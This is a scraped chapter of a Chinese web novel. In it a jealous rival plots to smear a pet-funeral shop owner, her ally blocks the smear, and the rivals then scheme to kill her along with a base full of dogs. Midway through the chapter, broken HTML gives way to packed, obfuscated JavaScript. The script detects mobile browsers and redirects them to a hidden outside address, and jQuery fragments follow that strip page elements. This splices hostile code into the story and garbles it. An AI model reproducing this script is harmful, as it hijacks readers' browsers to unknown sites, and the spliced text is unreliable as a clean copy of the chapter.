36. 第三十六章
作品:《毛绒绒的遗愿清单》 谢景渊发完消息就死死盯着手机,等着顾明舒回复。他倒要看看,这个女人到底有什么目的。
谁知等了快半个小时,对面竟然半点动静都没有。谢景渊气得牙痒痒,不信邪地又发了一条,一个红色的感叹号跳了出来。
消息已发出,但被对方拒收了。
砰!!
谢景渊一把将手机砸在玻璃茶几上,发出一声巨响。可怜的茶几短时间内遭受两次重击,竟然顽强地活了下来。手机却没这么幸运,屏幕碎成了蛛网状。
谢景渊看着满屏裂痕,气极反笑。他倒进沙发里捂着头叹了口气,自己跟顾明舒较什么劲?她也配?
他手指在沙发扶上无意识地敲击着,手掌下的眼神阴鸷得像一条蛰伏的蛇。
不能就这么算了,没人能拿他当傻子耍还能全身而退。
顾明舒以为她赢了?就凭她一个直播?
谢景渊慢慢勾起嘴角,笑容却异常冰冷。他翻出备用手机,拨出一个号码。
“把顾明舒这个人,从头到尾给我查一遍。她的店,她的客户,她的员工,任何可能有用的东西,都给我翻出来,我就不信她没有一点黑料!”
两天后,一份调查报告摆在了谢景渊面前。
他翻得很快,大部分都是些无关紧要的东西店铺流水、客户评价、进货渠道,没有的东西!正当他不耐烦地想要摔报告的时候,一页纸滑了出来,进入谢景渊的视野。
那是宠畔前任经理的信息,据说他和现任店长顾明舒发生过争执,后来张经理被开除,离职后还被顾明舒举报了。
谢景渊眯起眼睛,手指轻轻摩挲着页脚若有所思。
“宠畔前经理张某,任职期间私自处理店内死亡动物。未按规定交由专业无害化机构处理,而是将动物尸体运至深山老林中自行焚烧。焚烧炉为私自搭建,无任何环保资质。且张某某将多只动物尸体集中焚烧,骨灰混杂,无法区分。”
“举报人顾明舒,虽然店长提供了证据证明是张经理个人所为,但宠畔还是受到了处罚。”
谢景渊顿了顿,露出一个满意的笑。
这位张经理,应该对顾明舒恨之入骨吧?
“联系这个姓张的。”他压不住声音里的兴奋,“让他出来说自己是被顾明舒冤枉栽赃的,把脏水泼回她身上。”
属下听了连忙去办。
张经理接电话,还没等属下说完,刚刚听到能报复顾明舒,就立刻激动得满口答应。
他本来以为辞了职这事就算翻篇了,谁知顾明舒却追着他不放,一副不把他送进牢里不罢休的架势,害得他最后还被罚了不少钱。
“顾明舒,你可算落到我手里了!”张经理恨恨咬牙,立刻把焚烧炉的地点和他常走的路线都交代了出来。
一段时间后,谢景渊站在一座破旧的砖房里,面前是一座锈迹斑斑的焚烧炉。
炉子的铁皮已经被熏得漆黑,周围散落着灰烬和焦骨,屋顶被熏得看不出原来的颜色。空气里弥漫着一股说不清道不明久久挥散不去的焦糊味,混着房中的霉臭,让人闻了直犯恶心。
他捂着鼻子,眼睛里却闪着兴奋的光。
“监控呢?”谢景渊转头问身后的私家侦探。
“查到了。”侦探递过来一个U盘,“店里公用车来这里的监控记录,都在里面了。”
谢景渊接过U盘,转身下山,步伐分外轻快。
“这次,轮到我了。”
谢临洲的办公室。
程昱敲门进来的时候,脸色有些古怪。
他老板自打出车祸就跟一个宠物殡葬店老板搭上了线,不仅派人替那家店宣传扭转舆论,现在还异常关注店铺的黑料,时刻准备帮人压下去。
难道那人是老板的救命恩人?程昱心中猜测就是这报恩姿势,多少有点独特。
“谢景渊果然要对顾小姐泼脏水了。”程昱把平板递过去,“提前和谢景渊常合作的营销号打过招呼,谢景渊一有动作就通知我们。”
“谢景渊提供了一份稿子,内容是宠畔违规处理动物尸体,前经理把动物尸体拉到深山里违法焚烧,骨灰混在一起。谢景渊让他们把这事儿往顾小姐身上引,暗示是她在任期间纵容甚至授意的。”
谢临洲接过平板,快速扫了一眼。
文案写得极有煽动性——《宠畔店主竟是动物尸体焚尸狂魔?》,配图是那座锈迹斑斑的焚烧炉,和几张模糊的监控截图。
谢临洲面色沉了下来。
他突然想起顾明舒因为张经理被牵连,骂骂咧咧的模样。那时她就为这事烦心了好一阵子,现在再被翻出来,还往她脸上泼,以她的暴脾气,还不当场原地炸了?
一时上头之下,她不会借着任意门就冲过去暴打谢景渊吧?
一想起顾明舒追着谢景崇满屋子抽的背影,谢临洲就莫名有些想笑。
他抬头,突然对上程昱奇怪的眼神,连忙轻咳一声,压住嘴角的弧度。
“把这件事按下来。”他的声音恢复平静,“联系准备发稿的营销号,这稿子不能发。”
程昱犹豫了一下:“谢总,有些营销号可不会轻易松口。他们不管什么真相不真相,只要流量……”
“那就告诉他们,”谢临洲抬起眼睛,一字一顿,“发了这篇稿子,便是和我作对。”
程昱心中一凛,应了一声“是”,转身离开。
室内一时安静下来。谢临洲鬼使神差地打开他保存的顾明舒的直播录像。
画面里,即使弹幕污言秽语满天飞,顾明舒却不为所动,条理清晰地展示所有证据。
他看着顾明舒在谩骂质疑中从容冷静,看着顾明舒在舆论翻盘中明媚自信,也看着顾明舒面对受苦的流浪狗时,眼底藏不住的怜悯与痛心。
只是……谢临洲的目光落在弹幕里偶尔冒出的谩骂上,心里像被什么东西轻轻扎了一下。
为什么不能让我和你一起面对?
我连和你站在一起面对质疑的资格都没有吗?
谢景渊在家好整以暇地等着营销号发力。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17360898|199079||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
只要把网友的视线都引到顾明舒身上,她的信用就会跌到谷底,之前说的话自然就站不住脚。
到时候他再做点公益洗洗白,时间一长,大家也就忘了,他还是那个有爱心的谦谦君子。
“老板。”运营打来电话会爆情况,声音却有些发颤,“那些营销号都拒绝了……”
“什么?!”谢景渊不可置信。他和这些营销号合作过多次,太了解他们了,这就是一群为了流量不择手段的家伙。现在这么好的机会,竟然不发?
“不可能!绝对不可能!”谢景渊有些慌了,事态已经完全超出他的预料,“顾明舒怎么可能会有这么大的能量?!”
运营的声音颤颤巍巍:“有个营销号暗示我……和谢总有关。”
“我哥?”谢景渊一脸懵,“哈?我哥帮她?!”
“不是……不是,是谢临洲。”
谢景渊的脸色彻底沉了下来:“他还有劲儿搅进我的事?”
运营讷讷不敢言,直觉告诉他有些话他可不能听。
“我知道了,你去想怎么洗白。”谢景渊挂断了电话。
谢临洲怎么还没死?他怎么会和顾明舒认识?
一道光突然闪过谢景渊的脑海,那个小孩!
谢景渊呼吸有些急促,不是吧?他俩难道是一对?而且连孩子都有了?
谢景渊突然想起他哥给那个小孩做过亲子鉴定,只是他没在意结果。谢景渊带着满腔疑问就去找谢景崇,一进门就嚷嚷:“哥,之前的鉴定结果出来没?”
谢景崇本来就头疼,这下更痛了。最近谢临洲一直针对他,谢景渊被人爆了黑料他也得处理,再加上自己还失去过一段时间的记忆,每次一想起就头疼欲裂,这两天还总有奇怪的电话打进来。
“鉴定结果?”谢景崇喃喃自语,忍着头痛努力回忆。他给那个酷似谢临洲的小孩做过亲子鉴定,结果是……结果是……
“肯定是谢临洲的小孩!”谢景渊一屁股坐下来,满脸信誓旦旦,“不然谢临洲怎么会和顾明舒扯上关系,还帮忙给她压黑料?谢临洲对她可不一般。”
谢景崇皱了皱眉。话虽如此,但从没在谢家出现过的人,对谢临洲能有多重要?不过是因为有个孩子罢了。
他正准备开口反驳,就被谢景渊打断。
“没带回来,指不定是因为谢临洲被害妄想症发作,毕竟他一直怀疑是谢家里的某人害了他父母。”谢景渊耸耸肩,话锋一转,“再说,谢临洲对顾明舒感情怎么样,重要吗?”
他露出一个恶意的笑:“我只是想报复顾明舒,顺便恶心恶心谢临洲而已。”
谢景崇陷入思考。解决顾明舒,可能还能顺便解决谢临洲,一石二鸟。
“你要怎么做?”
“用那一基地的狗威胁顾明舒。”谢景渊眼神阴冷,“以她表现出来的性格,一定会来的。到时候……”
他顿了顿,声音轻得像在说一件微不足道的小事。
“就让她和那群狗,一起上天堂吧。”

